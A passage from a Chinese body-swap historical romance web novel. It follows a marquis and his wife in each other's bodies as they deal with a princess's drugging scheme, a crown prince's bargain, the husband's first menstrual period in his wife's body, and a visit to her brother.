“我没有,我只是看不惯沈溪言,想要为难一下她,连累你受伤,还不是那个女人的错。” 果然是她做的。 昭阳急着解释,这会也不叫嫂嫂了。 沈溪言见她停了动作,觉得此招有戏。 “郡主金尊玉贵,何必如深闺怨妇一般,学些内宅妇人争宠的手段,若愿意,上京自然有大把的好男儿能博君一笑。” 可这句话不知哪里刺痛了她。 昭阳眼角一红,下一秒,伸手就要扒沈溪言的衣裳。 温越此前帮她脱了外衫,此刻反而方便了昭阳,她三两下就解开了眼前男人的里衣,露出精壮的胸膛。 “柔,柔嘉……” 如此袒露身体,还是在一个女子面前,沈溪言说话都有些结巴。 少女脸上的表情明显凝滞了一下,这还是他第一次这么叫她,喜悦之色溢于言表:“含章哥哥,你说。” 南枢生生刹住刚冲出去的脚步。 “其实……”沈溪言深吸一口气,为了保住夫君的清白,她只能如此,她低声在少女耳边吐出几个字。 在对方惊疑不定的眸光中,为了增加可信度,还郑重得点了点头。 南枢竖起耳朵,却什么也没听见,只见昭阳的脸色红了白,白了红,最后只剩下一片铁青。 她本是半个字也不信,眸光下移,落在男人的下半身,脸色变幻莫测,不可置信道:“……怎么可能。” 沈溪言想摆摆手,却被束缚着一动不动,也许是换魂的缘故,她只感到周身愈发滚烫,除了燥热难耐,再无其他:“我没骗你吧,哪个男人会拿这种事开玩笑。” 南枢心头似乎有一把小刷子,让他心里头直刺挠。 第26章 灭火 第二十六章 灭火 少女失声尖叫:“你同沈溪言那般恩爱,竟然都是作假的?你喜欢男人?!” 哦,原来是这样。 南枢心头的那把小刷子消失了,他长舒一口气。 身影一掠而过,烛光抖了一下,手中银针利落甩出,没入郡主脖颈。 夫人说她喜欢男人,貌似也不算骗人。 纱帐被夜风撩起,气流涌动,少女身体一僵,转头呵斥:“谁?” 还没看清来人,她就像被什么东西击中,立刻软绵绵地趴在沈溪言身上不动了。 年轻的“定北侯”看到南枢的那一刻,几乎要喜极而泣,她还没开口,厢房的大门就被一脚踹开。 南枢眸光一凛,身影如同一股烟似的不见了踪迹。 一个高大的阴影压下来,沈溪言眯了眯眼,男人惊诧的面容出现在眼前,挡住了跳动的烛光。 “软玉温香在怀,温侯好福气。” 太子萧铎一脸戏谑,昭阳整个人都压在了沈溪言身上,她倒是没露出多少肌肤。 只是女子双目紧闭,旖旎的氛围瞬间减半,萧铎挑眉:“这是?” 沈溪言这才看见了男人身后的女子,温越顶着她那张素来柔和的脸,神情冰冷,眸光幽暗,眼底酝酿着风暴。 她咽了一口唾沫:“年轻,觉多。” 温越唇边溢出一声冷哼,一把拨开太子:“劳驾,起开些。” 太子也不恼,侧身让开,温越上前一步,又将瘫软的少女推到一边,冷着脸伸手解开床头的绳结,看了一眼还在呆愣之中的沈溪言:“怎么,还要我拉你起身吗?” “……那倒不必。” 太子静静地看着夫妻两之间的暗流涌动,添油加醋道:“夫人也不必气恼,温侯醉酒,被奸人设计陷害,他亦是受害者,至于方才所言“逢场作戏”等,夫人万万不可放在心上。” 沈溪言迅速将里衣拉上,耳尖红的要滴出血来。 她手上一急,迟迟系不上带子。 纵使她知道自己此时是男人的身体,可在两个‘男人’面前这样衣不蔽体,十多年的礼仪教养熏陶之下,她还是不免指尖发颤。 温越将她的手拍开,亲自系好,又拿了一件斗篷,披在沈溪言身上,包裹严实了,才沉着脸,将人拽着就要往门外走。 太子见二人对他的话置若罔闻,眼神一暗:“夫人,昭阳的事孤可以摆平,可夫人别忘了与孤的约定。” 沈溪言直到被温越拽回厢房,脑子里还回想着太子那句话。 什么约定? 他拿自己的身体答应了太子什么事? 直到整个身子被按在冰凉的浴桶中,冷水混着冰块浇在身上,沈溪言被激的浑身一颤,才回过神。 “你做什么?” 抬手抹去脸上的水珠,被冷脸了一晚上,沈溪言此时也带了些气。 温越见她一直愣神,真想将冷水浇在她头上,看她整个人蜷缩在宽大的浴桶中,嘴唇都有些发白,到底没忍心。 “若再不给你这具身体降降温,难不成真给你找个姑娘来当解药。” 沈溪言有些心虚:“……阿珣,你也看见了,我当时被绑着,况且我也不知道郡主下了药啊。” 温越总觉得今日的情绪特别容易被激起来。 “你得时刻记住,现在用的是我的身体,怎能让别的女子随意亲近?况且我也瞧见了,她捆了你的双手,那不还有腿吗?” “昭阳贴上来的时候,你一脚将人踹飞不就行了,竟然容她拔了‘我’的衣裳,摸了我的身子!” 沈溪言呆呆的望着差点被气哭的夫君,只见女子鼻尖通红犹如染上了胭脂,睫毛湿漉漉的粘成小簇,眼尾泛红,似乎受了极大的委屈。 她倒是真的生出一丝负心汉的觉悟:“……是,夫君说的是,我知道错了。” 年轻的‘定北侯’一脸诚恳,墨发贴在被打湿的肌肤上,冷水一泡,体内的躁意压下去不少。 “对了,方才太子所言何意?你答应他什么了?” 温越舀凉水的动作一顿,冷哼一声,眸底晦暗不明。 半个时辰前,这具身体也同方才自己的身体一样,被捆在了太子萧铎的床塌上。 只是萧铎没有动他,就仅是坐在床边静静地等他转醒。 一睁眼,他也被吓了一跳,还好萧铎还不算全然没了良心,没有下药,只是用那双仿佛能够洞悉人心的眸子盯着他:“孤不喜欢强迫。” “温侯夫人,你的夫君此刻正在与另一女子欢好,若你愿意,跟了孤,温珣能给你的,孤也能给;温珣给不了的,孤亦能给。” 他侧头含笑,语气里满是诱惑:“如何?夫人考虑一下?” 温越正要开口,就被打断。 “长夜漫漫,夫人先别急着拒绝。不如先听听孤的筹码。” “这就是殿下的态度。”温越看了看被束缚的双手。 太子摆摆手:“与孤无关,都是昭阳那女人做的。”说罢,他倒真的替女子解开了束手的绸带。 温越坐起身,从床塌上下来,坐在了离床塌最远的木椅之上,仿佛萧铎是什么洪水猛兽。 动了动酸困的手腕,本来他自己也能挣脱,只是免不了要伤了阿言的手腕:“殿下既然想说,不妨直言。” “若妾身跟了殿下,殿下能给什么?” “若他日问鼎天下,孤许你皇后之位。” 环顾四周,寝室内燃上了红烛,还应景地挂了些红绸点缀,萧铎一袭黑底绣金云纹长衫,衣襟微敞,眸光深情,衬得他愈加俊逸矜贵。 如此一位守礼深情又地位尊崇的年轻储君,很难不让女子心动。 可惜,他温越不是女子。 嘴角扬起一抹淡淡的笑:“殿下,妾身嫁过人了,不是闺阁中不谙世事的小姑娘。” “哎,就知道这些小心思瞒不过夫人的眼睛。” 温越目光轻蔑,语气更是不善:“如今朝堂之上,齐王势大,门阀势力盘根错节,前有武英殿大学士等那群极看重嫡庶尊卑的老臣虎视眈眈,后有皇后母家颍川杨氏鹰瞵鹗视,都眼巴巴等着揪殿下的错处,殿下的储君之位,似乎并没有那么稳固。” “殿下自己尚未都是如履薄冰,这时候就许诺皇后之位,无异于镜花水月,空中楼阁,竟是将妾身当傻子一般哄骗。” 这话说的极不客气,太子目光中掠过一丝惊讶,但很快克制住了:“知你伶俐,可女子有时太聪明了,确非美事。” “不过,夫人说的很对,正因如此,孤才需要夫人的帮助。” 思绪回笼,温越打一开始就知道,萧铎对‘他’明面上的示好,都是演出来的。 他若是耽于美色之人,也不会以非嫡非长之身,稳坐东宫这么多年。 第27章 气到‘吐血\’ 第二十七章 气到‘吐血’ 萧铎确实没想真的碰‘沈溪言’,他看的出来她对他的厌恶,沈氏貌美,的确令人心动。 可温珣并非善茬,碰了他的女人,图一时之欢换来的是后续未可知的报复,萧铎从不做有风险的亏本买卖。 不如卖定北侯府一个人情。 况且,温珣喜欢男人? 大宛朝这位年轻的储君陷入沉思。 温越解释完,浴桶中哗啦一声,沈溪言猛然站起身:“侯府向来不涉党争,你怎能与虎谋皮?” 水面停在的男人的小腹处,随着胸膛的起伏,水珠潺动,顺着男人麦色的肌肤滚落,滑入波动的浴桶之内,温越沉着脸将她按回水中,他没有欣赏男人身体的癖好,即使那是自己的身体。 脑子‘轰’地一声炸开,沈溪言不敢往下看,‘扑通’一下又赶紧坐了回去,飞溅的水花打湿了温越的衣裳。 屋内动静不小。 门口传来榴花试探的声音:“夫人,屋内还要冰水吗?” “不必了。” 榴花应声退下,方才夫人冷着脸将侯爷拉回来,侯爷脸色潮红,一副犯了错的模样,没多久,屋内就要沐浴,不过要的却是冷水。 榴花不敢问,只能听命行事,想起种种细节,榴花心里一惊,莫非是侯爷做了什么对不起夫人的事。 映叶瞅见榴花从厢房出来就一直红着眼坐在廊下发呆,她身旁放着一盆冷水,大冷的天,水面上似乎有些结冰:“怎么了?” “没什么。”榴花抹抹眼泪。 见映叶手里提着一个食盒,榴花站起身:“可是夫人饿了?” “不是,夫人说侯爷泡了冷水,怕他着凉,让下人准备了姜汤,替侯爷驱寒。” 榴花冷哼一声,替自家夫人不值。 沈溪言重新坐下后,抱紧了双臂,冷的直哆嗦,温越终是叹了口气,眼里满是心疼。 随手拿过桶边的布巾替她擦拭发尾:“不过是一场交易,他替我们摆平昭阳,有意卖侯府一个人情,不过是为了日后铺路,我们放手去查周家,若查出来确有齐王参与,给他递个消息,行个方便,经此而已。” “那是不是意味着,这次的事,与太子无关?” “不一定,萧铎此人城府极深,不可尽信,他引导我们把矛头对准齐王,搞不好这就是他的阴险奸诈之处。” 沈溪言点点头:“夫君说的在理。” 擦完了发尾,温越将一块宽大干爽的软布搭在沈溪言肩上,示意她起身:“感觉如何了?” 燥热散去:“……嗯,似乎没事了。” 最近发生了太多事,侯府出事,成婚,遇刺,换身,简直就像一场梦似的。 这几个月的日子,比她过往十八年的经历都要惊心动魄,就说换身这件事,就是志怪,也不敢这么写,简直闻所未闻。 她心里总觉得事情没那么简单,可思绪烦乱,抓不住头绪。 心里想着事情,沈溪言完全没有注意,为她擦身的那双手,用劲越来越大,蹭得她皮肤生疼。 想起来夫君毕竟是侯府世子,从小养尊处优惯了,如今还顶着自己的身体,事事亲力亲为,她几乎是下意识地张口:“夫君,你歇着吧,让榴花来侍候就好。” 温越方才压下的那股火‘嗖’地一下又窜了上来。 今夜,先是被昭阳坑骗,他本想替她出气,结果她一来就拆台,后是被人下药算计,她置‘自己’的清白于险境,任凭旁的女子又亲又摸。 他憋着一口气,方才讲了那么许多,在萧铎哪里处处让步,就是为了保住她的清白。可她倒好,方才答应的事,扭头又要喊别的女子进内室,那他的身体岂不是都被瞧了去! 手中攥着的布巾猛地一甩,‘啪’地一声打在浴桶边缘。 沈溪言被这突如其来的动静吓到,心里一紧,只见‘自己’眼神湿润,眼尾泛红,鼻尖微动,像是随时都要落下泪来。 她从前有那么爱哭吗? 迅速甩开了脑中的想法:“夫君,怎么了?可是,可是我说错什么话了?” 见她一副懵然不知的模样,温越感觉浑身气血上涌,竟然真的被气到有些腹痛。 他捂了捂肚子,转身就想走,也不知是否是站久了的缘故,腰腿处像是生了锈,酸困难耐,加上腹部一阵阵愈发清晰的绞痛,他膝盖一软,差点跪倒在地上。 身后沈溪言迅速从浴桶中起身,胡乱擦了擦腰腹腿脚处的水珠,套上了里衣,见温越脸色煞白,僵在原地,伸手就要拉他。 温越只觉得一股凉意铺面而来,沈溪言握住他手腕的那一刻,冰凉刺骨的寒意透过布料,直抵肌肤,似乎将他整个人都冻在了原地。 小腹处的闷痛更加强烈,他头上渗处冷汗,蹲下身子蜷缩在一起,突然,一股陌生的,温热湿濡的暖流自身下涌出。 温越心中大骇,他也顾不得一脸焦急的沈溪言在场,下意识伸手一摸,抓出一片温热,抬眼看去,满手血渍。 这是血? 从前在朝堂之上,有老臣当堂争辩,急血攻心能气到吐血。 温越活了二十多年,还第一次知道能把人从身下气到‘吐血’的。 他在昏迷前到最后一刻在想,阿言的身子本来就弱,他今日气性怎就如此之大,还将她的身体气伤了,实在是不该。 晨光熹微,今日天气甚好。 温越还是被腹部的钝痛痛醒的,一睁眼发现自己躺在柔软的棉被之中,脚底和腹部还放了几只汤婆子,双腿之间似乎垫了些东西,有些膈,他一动,昨日那股湿热的异样感觉卷土重来。 冬日的暖阳刺眼,平日里这个时辰,他早就在院里练完枪了。 抬眼,见榴花一脸欣喜,手中似乎端着一碗汤药,还冒着热气,他皱着眉。 他病了,这妮子乐什么呢? “阿……侯爷呢?” 榴花将手中汤勺搅了搅:“夫人,侯爷去看着套马车了,今日回府,侯爷说怕您冻着,吩咐小厮在马车里垫了好几层细软,不放心,亲自去盯着了。” “还有,这是侯爷一大早起来,亲自熬的姜枣茶,温经止痛的,夫人快快喝了。” “什么?” 第28章 月事 第二十八章 月事 温越觉得,他好像误会什么了。 舀了一勺递到唇边,见沈溪言不张嘴,榴花焦急道:“夫人,您快别任性了,想必是上次小日子赶上受伤,过了之后,月事的时间就不太准,昨夜您非要亲自侍候侯爷沐浴,双手浸在冷水里那么久,怎能不腹痛?” 看着温越将姜枣茶一饮而尽,榴花神色渐缓:“不管侯爷之前做了什么,奴婢瞧着,侯爷是打心眼里在意您。” 她语气顿了顿,欲言又止,温越浑身不舒服,脸上没半点血色,他懒得开口问,此刻也回过味来,没想到女子每月的月事来了竟是如此感觉。 榴花见自家夫人瞒不在意的模样,咬咬牙还是说了:“夫人,莫怪奴婢多嘴,纵使侯爷对您多好,换月事带这种事,侯爷虽说要亲自替您换,可您万不可依着他。” “这种事男子沾染毕竟不好,时间久了,万一遭到侯爷厌弃……” “一派胡言!” 温越一拳砸向床塌:“侯爷不会如此,以后厌弃不厌弃的话,休要再提。” “是,奴婢知错了,夫人莫要在生气,当心伤了手。” 榴花温声哄着,眼中满是担忧,只当夫人近几日情绪不好,并未放在心上。 沈溪言搓着冻僵的手进屋,看到‘自己’脸色煞白地窝在棉被里,只露出了一个头,榴花行了个礼,默默退了出去,她突然有些愧疚。 “怎么样,感觉好些了吗?” 温越表面上淡淡地看了她一眼,实则心已经揪成了一团,被褥中探出一只白净的手,把沈溪言的手握住。 “别动,凉。” 手掌被死死握住,抽不出来:“……阿言,每个月,你都如此难受吗?” 沈溪言看到他垂眸,眼底满是心疼,她抿了抿唇:“……也不全是,只要平时多注意,也有不痛的时候。兄长说母亲生我的时候受了惊吓,早产了半月,所以我自小身子格外虚弱些。” “夫君莫要担心,让夫君受苦了。” 说起这事,沈溪言又想到早逝的父母。 她本出生在江南,父亲沈举元是湖州郡知州,任职以来,轻徭薄赋,兴修水利,短短三年不仅政绩卓越,更因性情刚直,一心为名深得百姓爱戴,母亲慕锦娘出身于当地书香世家,温婉贤淑,与沈举元婚后琴瑟和鸣。 大宛王朝永宁十六年,北疆的后羌国撕毁盟约,率领铁骑踏破雁守关,一日之内连破三城,边关急报飞抵京城,朝堂之上以定北侯温仁铭为首的主战派,与左相陆绍甫为首的主和派争执不下。 后羌正在那时提出,若要停战,朝廷需派重臣前往北疆王庭议和,否则便挥师南下。 当今圣上那时还是太子,先帝昭德帝在内阁大臣的举荐下,知沈举元不仅有治郡之才,更有过人的胆识与辩才,且早年游历四方,熟知后羌风土人情,遂下旨升沈举元为鸿胪寺卿兼北疆议和使,即可前往北疆。 与圣旨到时,慕锦娘已怀了沈溪言,沈行那年刚满7岁,沈举元看着身怀六甲的妻子和儿子,眼中满是不舍,在那一声声‘妾候君归’中转身踏上北上之路。 可慕锦娘始终没能等夫君平安归来,沈举元抵达北疆之后,后羌国主态度傲慢,提出割让十郡、岁贡数万的苛刻条件。 沈举元自然不会低头。 后羌忌惮大宛尚有一战之力,于是假意设宴款待,席间,以沈举元‘包藏祸心,意图行刺国主,破坏两国谈判’为由将其扣押,后沈举元宁死不降,最终被敌军乱刀斩杀。 消息传回京都,定北侯温仁铭目眦尽裂,自请出兵北疆,领走时立下军令状,不破后羌,永不回朝。 身在湖州郡的慕锦娘惊惧悲痛之下早产,诞下一个女婴后,血崩而亡。 沈举元死后,被朝廷追封为礼部尚书,沈行带着尚在襁褓中的妹妹,踏上了上京寻亲之路,慕锦娘的表兄,也就是沈行沈溪言的表舅,时任翰林院侍讲学士,沈行入京后,单独开府前,多受其照顾。 后沈行入朝为官,行事大胆,得罪了不少人,却依旧能在官场立于不败之地,也有两代君王感念在其父于社稷之功的缘故。 见沈溪言神色有异,温越立即察觉到她是想到已故的父母了。 沈溪言从未见过父母的模样,从小被如父如兄的沈行拉扯大。 于是他话锋一转:“今日回府,路过沈府,不如一同回去探望兄长,路过东市的时候,还能顺带买一盒你最爱的樱桃煎,在给兄长带一瓶醉花枝,恰他今日休沐,忙了这些日,看见你定会欣喜。” 沈溪言眼神一顿,本属于温越的喉结微微滚动,她有些意动,可瞧见温越虚弱的模样,犹豫道:“你身体不舒服,还是改日吧。” “你不必顾及我,阿言莫要忘了,我可是平定北疆的大将军。”温越从被子里钻出来,在沈溪言震惊到目光中,赤脚跳到地上。 方才他发了汗,觉得小腹处那股又冷又疼的感觉消失了,屋内燃起了地龙,地上也不算凉。 温越心情大好,舒展了手脚,小跑了两圈:“阿言,你瞧,我已然无事了。” 突然他的笑容凝在脸上,步伐骤然停住。 不对。 怎么这还是一阵一阵的? 他几乎有些口不择言:“……快,快,阿言,教我那劳什子月事带怎么用……” ‘扑哧’一声,温越这么一闹,沈溪言也被逗乐了,她头一次感觉换身这件事有点好处。 就例如昨日在冷水里泡了那么长时间,今晨早起竟然没有半点不适,除了…… 似乎想到了什么,她耳尖一红,瞧见温越捂着肚子又缩回了床塌之上,她赶忙去翻找新的月事带。 …… 大雪初霁,天光放晴。 一辆乌木打造的素面马车正缓缓行驶在官道上,温越掀开车帘,望见沈溪言顶着自己的身体骑着踏云,身姿如松,清俊出尘。 榴花探出头来,面向高头大马上的‘定北侯’,一脸愁苦:“侯爷,您还是进来坐马车吧,夫人身上这才好了些,这才一炷香的功夫,已经掀了十几次帘子了。” “冷风吹的多了,夫人回府之后又要腹痛了。” 温越没想那么多,他看出来沈溪言想要骑马,不想自己影响了她,于是‘唰’地一下放下帘子,低声斥道:“多嘴。” 早知道就不应该听阿言的,让这妮子坐进来,他本就不太乐意与除阿言之外的女子,单独、长久、共处一车。 他想了想又补了一句:“你若是不怕冷,可以出去。” 榴花撇了撇嘴,突然想到什么,眼里放光:“夫人说的是,可夫人不能没人照顾,奴婢这就出去换侯爷进来。” 还未来得及阻止,便听见榴花高喊:“侯爷,夫人有事叫您。” 第29章 沈府 第二十九章 沈府 沈溪言知道这是榴花的主意,她掀开车帘,弯腰坐下:“夫君莫恼,榴花是我十岁那年从人牙子手里救下的,比我还小了两岁,救下她的时候,她瘦的只剩下二两的骨头了。” “她一心为我好,这段日子有哪里做得不对的地方,还望夫君宽恕则个。” 温越叹口气,想将沈溪言揽在自己怀里,一抬手发现有些费劲,又灿灿地缩了回去。 “阿言,等我们换回来,我教你骑马吧,再命匠人制一把小弓,西苑猎场开阔,等到来年秋猎,阿言说不定能去猎只野兔。” “真的?” 沈溪言眸光清亮,眉眼间染上淡淡的愉悦。 她自小就羡慕男子可以骑马射猎,可她素来体弱,又被淑女礼仪典范束缚着,借了夫君的身体,和这具身体的习惯,才敢上马试试。 换回来,还能骑马吗? 想到这,她的眼神又黯淡下去:“女子不可抛头露面……” “你何时也变得这般迂腐了?” 小腹的不适让温越心头添了一丝躁意,话刚出口,一些久远的记忆涌上心头,他的眼里闪过落寞:“母亲自从嫁给父亲之后,就再也没有拉过弓,射过箭。” 他思绪渐远:“那年父亲从战场上回来,母亲带着一众家仆在府邸门口翘首以盼,第一眼看到的却是父亲扶着一大着肚子的女子下了马车。” 沈溪言试探问到:“是柳姨娘?” “正是。” “那时我与兄长才不过3岁,父亲说这是路上遇到的医女,乱兵砍死了她的丈夫,她救父亲一命,只求带着遗腹子有个安生之所,于是被父亲带回了府,甘愿做个婢女。” “母亲得知柳氏肚子里的不是父亲的孩子,松了一口气,兄长沉稳,从始自终默不作声。可我那时顽皮,往柳氏脚底下踢石子,我只是气不过她自视甚高,把自己当成侯府的恩人,还与父亲做亲近之态,想吓一吓她,可没碰到她,她就脚底一软,直接摔倒,落了胎。” “我被在祠堂罚跪了一个月,后来我听母亲身边的嬷嬷说,柳氏那时已经怀有5个月的身孕,胎像稳固,不会轻易小产。” “于是母亲派人去查了她喝的安胎药,果然发现了当归、杜仲等活血之物,她本就是医女,要偷偷换个药方太容易了。” 沈溪言听的入迷:“后来呢?” “后来,母亲正要将此事禀告给父亲,就发现她趁父亲醉酒,爬上了床。” “自那之后,父亲与母亲的关系便大不如前,柳氏先前的那个孩子,再也无人追究究竟是怎么没的,父亲本就不是重欲之人,半年之后,等柳氏又怀了孩子,生下一个女孩,也就是温如沅,父亲就很少去看她了。” “柳氏如一朵开败的花,迅速枯萎,性子也柔顺了不少,她知道母亲才是这个家的当家主母,于是开始百般讨好母亲,直到再次得到亲近父亲的机会。” “可那次她又小产了,好巧不巧,府医看过,那是一个男孩。” 温越唇边微微颤抖,沈溪言握住了他藏在袖中的手,指尖微凉:“我不敢去想,这么多年,为什么父亲不去追查柳氏接连小产的原因,母亲任凭她一次次怀孕,但她生下的,却只有女孩。” 过了好半响,温越凝神望向她:“阿言,我说这么多,只想告诉你,此生我绝不会纳妾,你也绝不会活在侯府主母的枷锁里,变成一个温婉贤淑,端庄大方却失了自我的空心人。” 温越的眼里亮晶晶的,沈溪言透过漆黑的瞳孔,看到了眼含热泪的自己:“只要有我在,你可以做你想做的任何事。” 沈溪言心头一颤,那股酸涩与感动交织,让她喉咙发紧,最终点了点头。 “夫人,沈府到了。” 车厢颠簸渐缓,车外传来榴花的一声禀告。 沈溪言一惊:“不是说回府吗?” 马车并未路过东市,沈溪言以为温越放弃了回沈府的念头。 温越看懂了沈溪言眼底的疑惑,神秘一笑:“我让南枢去买了。” 说这话,车帘被掀开一角,一盒樱桃煎和漾着酒香的醉花枝被塞了进来。 温越反手牵起沈溪言的手:“走吧,侯爷,一起去看看兄长。” 沈府不大,修葺的却十分精致,院落错落有致,处处透露着清雅。 踏入府中,管家张伯迎了上来,他惊喜道:“大小姐回来了!老奴这就去禀告少爷。” 张伯年过六十,鬓发斑白,他是跟着沈行从湖州郡来的老人,这么多年过去了,还保留着从前的称呼。 ‘大小姐’没说话,她身后的‘定北侯’一脸笃定:“张伯,不用去禀告,哥哥此时一定在藏书楼。他看书的时候不喜人打扰,我们就在花厅等着就行。” 张伯佝偻着身子,眼中惊疑未定:“那,老奴替侯爷和夫人带路。” “不必了,我们自去便可,张伯您年纪大了,还是小心身子,冬日寒凉,多穿些衣裳。” 年迈的管家冷汗淋淋,姑爷不是战场上的杀神吗?没想到如此平易近人,少爷所言竟也不是真的。 穿过垂花门,就到了后院,青石板的小径两旁栽着翠竹,枝头上压着冰晶,在走两步,便是一处雅致的花厅,青瓦白墙,廊下挂着几盏素色灯笼,窗棂上糊着细纱,隐约可见厅内陈设。 温越还是第一次有机会好好欣赏沈府。 温沈两家本就是世交,再往上祖父那一辈,是一同中榜的举子。 沈家兄妹搬来京都以后,父亲远赴北疆三年,母亲得父亲嘱托,对两人多加照拂,也就是那时给兄长和阿言定了亲。 从前兄妹二人住在其表舅李运正李大人的府邸,后来沈行高中,开府别住,温越也未踏足沈府。 温越不是第一次来沈府了,提亲、成婚,回门。 可那时心中有愧,哪有想闲情逸致逛园子。 他哪都好奇,身旁的榴花频频投来诧异的目光,明明是回娘家,夫人这模样,像是第一次来似的,倒是侯爷,显得轻车熟路。 第30章 都怪你 第三十章 都怪你 沈行与沈溪言都爱书,于是干脆在府里建里一座藏书阁,兄妹两没事就喜欢泡在里面。 沈行看书有些累了,喊下人上些茶点,才知道自己妹妹来了。 沈府的花厅陈设简洁,一张梨花木八仙桌,配着四把圈椅,桌案上放着一盆缀着素白花朵的水仙,散发着淡淡的香气。 这里不如公主别院奢华,没有铺设地龙,下人们端来了烧的火热的炭盆,被暖意围着,温越才觉得腹间的酸痛缓解了些。 他将食盒打开,捏起一块递到沈溪言嘴边:“这本身就是给你买的,一会冷了就不酥脆了。”见沈溪言眯眼吃了,又连忙倒了杯温茶,生怕她吃的太急噎着。 沈行快步跑入花厅,‘沈溪言’这般小心翼翼的模样,正巧落在他的眼里,顿时令他眉头紧皱。 只见‘定北侯’正抱着食盒吃着点心,自己‘妹妹’站在一旁看着,还时不贴心的用帕子拭去男人嘴角的碎屑, 沈行窜上一股无名怒火,冷哼一声,在右手边的位置上坐下:“哼,温侯好气派,让吾妹亲服侍你用点心,还专门跑到我面前来逞威风。” “言儿,过来!身为大家闺秀,大庭广众之下与男子拉拉扯扯,成何体统,还不坐下。” “他温珣有手有脚的,用得着你伺候。” 端着茶杯的手一顿,温越意识到此刻自己才是沈溪言。 于是他尴尬一笑,将茶杯放下,冲沈溪言使了个眼色。 后者心领神会,从榴花手里接过那瓶醉花枝,笑的谄媚:“哥哥,这是我,我和阿言特地去东市买的,知道你今日休沐在家,特地来看看你。” 沈溪言双手捧上,态度虔诚,以往她只要犯了错,去东市买上这么一瓶酒,兄长有再大的气也消了。 等了许久,也不见手里的酒被接过,温越在旁边轻咳了声,她抬头,只见沈行脸色更黑了:“有空在这白献殷情,不如想想怎么好好对待自己的夫人,不要人前一套背后一套。” 沈溪言一脸懵然,抬头,可这幅表情在沈行眼里就是赤裸裸的挑衅:“怎么?被说两句就不乐意了?” 男人一身青衫,面容清俊,眉宇间带着几分书卷气,眼神却十分凌厉,他站起声,背手开始踱步:“你既然娶了我妹妹,同她一起叫我一声兄长,我说两句侯爷莫怪。” “言儿自小身体就弱,你瞧她今日气色如此不佳,你还带她出来,毕竟是冬日,化雪的时候天气最冷,温珣你不是个小孩子了,你这都不懂吗?” 沈溪言瞪了一眼夫君——都怪你非要今日来,好了,挨骂的倒是我了。 温越摊开手,一脸无可奈何——没办法,现在我才是他的宝贝妹妹。 “我在同你说话,你看言儿做什么?”沈行回头,瞅见‘定北侯’走神,有些不满。 沈溪言立刻站直,一副洗耳恭听的样子。 “再说了,那樱桃煎是言儿素日最爱,你竟懵然不知,光顾自己吃的起劲……” 沈溪言听着沈行自顾自絮絮叨叨,心里划过一丝暖流,不知不觉竟然红了眼眶。 沈行气恼了半天,一抬头蓦然瞧见一个大男人竟然被他说哭了,一时有些无措:“……哎,那什么,你俩要是不急,留下用过午膳再走。” 日头西垂,午膳用过,不知不觉已过了未时。 夫妻二人辞别了沈行,这才启程回府。 临走时,沈溪言被沈行留下单独续话,沈行面色沉沉,是自己从未见过的严肃模样:“温含章,我知道你替伯父兄弟报仇心切,可万不该拿言儿的安危做赌,你自己安排的杀手,骗的了旁人,可瞒不过我眼睛。” 他目光锐利,仿佛能看透一切:“你要周家覆灭,多的是办法,若你下次做事再如此不顾后果,伤了言儿半分,就休怪我不客气了!” 被训话的‘定北侯’神色微愕,唇瓣张了张:“什么?哥哥这话我怎么听不懂了。” 沈行见‘他’一脸茫然的样子,气不打一处来:“哼!你不承认也罢,总之今日这些话,记在心里便是。” “还有,这件事你不要告诉言儿,她如此偏心你,胳膊肘向来冲外,知道了又要埋怨我多管闲事。” …… 公主别院遇险的事,两人商定好瞒着府里,只说天黑路滑,歇了一晚。 马车刚停在侯府大门前,便有一身着军卒服饰的小兵快步迎上,他神色急切:“侯爷,军营急报,您前些日子吩咐查的事,有眉目了!” 沈溪言掀开车帘一角,神情微怔,下意识看向身后的温越,女子的脸色仍有几分苍白,‘她’俯耳过来,压低声音解释道:“我一直怀疑父亲在北疆遇伏并非意外,军营中定藏了奸细,此番急报,想必是查到了些线索。” “我与你同去。” 沈溪言还未点头,就见侯府太夫人蒋氏身边的嬷嬷匆匆赶来,传话说三小姐一早就回府了,哭着喊着说有急事求见夫人。 “她能有何急事?让她等着。” 瞧见温越眉头微蹙,沈溪言是知道自己的身体的,月事这才第二日,确实不宜来回奔波。 于是她按下温越,低声道:“眼下事急,夫君与我不如分头行事,我去军营,你替我见三妹,如何?” 温越拗不过她,只能沉着脸唤来南枢:“跟着夫人,寸步不离。” 此时若去军营,定不能慢悠悠地骑马了,沈溪言干脆就没下马车,见榴花跟着温越进了府,南枢充当了车夫,挥动马鞭驾车离开。 那报信的小兵一脸疑惑,从始自终他就没看见到侯爷的脸。 按道理这线索查了几个月,才有了点眉目,侯爷定会第一时间飞奔回军营,没想到如今如此沉稳。 温越刚踏入正厅,就瞧见自己的三妹温如沅哭得梨花带雨,一双眼睛红肿的不像样,除了奉茶的婢女,不见母亲的身影。 看见‘沈溪言’进来,她立刻扑了上去,温越侧身躲开她的手,女子险些扑倒在地上。 温如沅一愣,高声哭喊道:“嫂嫂,你可要救救进文啊!” 第31章 求情 第三十一章 求情 温如沅用帕子捂着脸,瞧着‘沈溪言’气定神闲地施施然落座,她偷偷翻了个白眼,表面上堆着讨好的笑。 “嫂嫂,进文前些日子誊写文书时,一时不慎错漏了几处批注,这本不是什么大事,可进文的上官赵修撰是前年新科状元,此人资历尚浅不说,又是个直性子,不懂变通,硬要将此事告到掌院学士那。” 温越端坐着,指甲尖轻扣桌沿。 温如沅前些年嫁给了曹家庶子曹进文,曹家也曾是官宦人家,只是曹家数代一直为官庸碌,曹父妻妾成群,曹进文前后还有七八个兄弟姐妹,蒋氏本是不愿意的。 最开始议亲的人家不是曹家,那家原本姓白,家世门第不高,也算京城的富户,以卖香料发家,且家中只有白少爷一人。 温如沅养在柳姨娘身边,想要嫁入公侯王府,是不可能了。 蒋氏相看的白家少爷,脾气秉性皆是上乘,温如沅嫁过去就是妥妥的当家少夫人,一辈子吃穿不愁。 可商人地位低,温如沅为了这一门亲事,哭闹了许久,最终以死相逼,才不了了之。 后来她自己看中了曹进文,执意嫁过去,曹进文年长温如沅十岁,也算是不负所托,终是在三十岁这年科举及第,侥幸入了翰林院。 “曹进文身为翰林院检讨,本就有校对、审查之责,如今在文书上出了纰漏,赵大人所做又有何不妥?” 温如沅急道:“嫂嫂你我都是妇道人家,不懂官场的弯弯绕绕,夫君说了,翰林院那种地方,说是落下一个敷衍塞责,不堪大用的名声,进文的官场之路就完了……” 温越挑眉:“那你想我如何?” 听‘沈溪言’言语中似有松动,温如沅心中一喜:“这事可大可小,嫂嫂的表舅如今是翰林学士,在掌院大人那还是有几分薄面的,若是能说上几句好话,此事也就过了。” 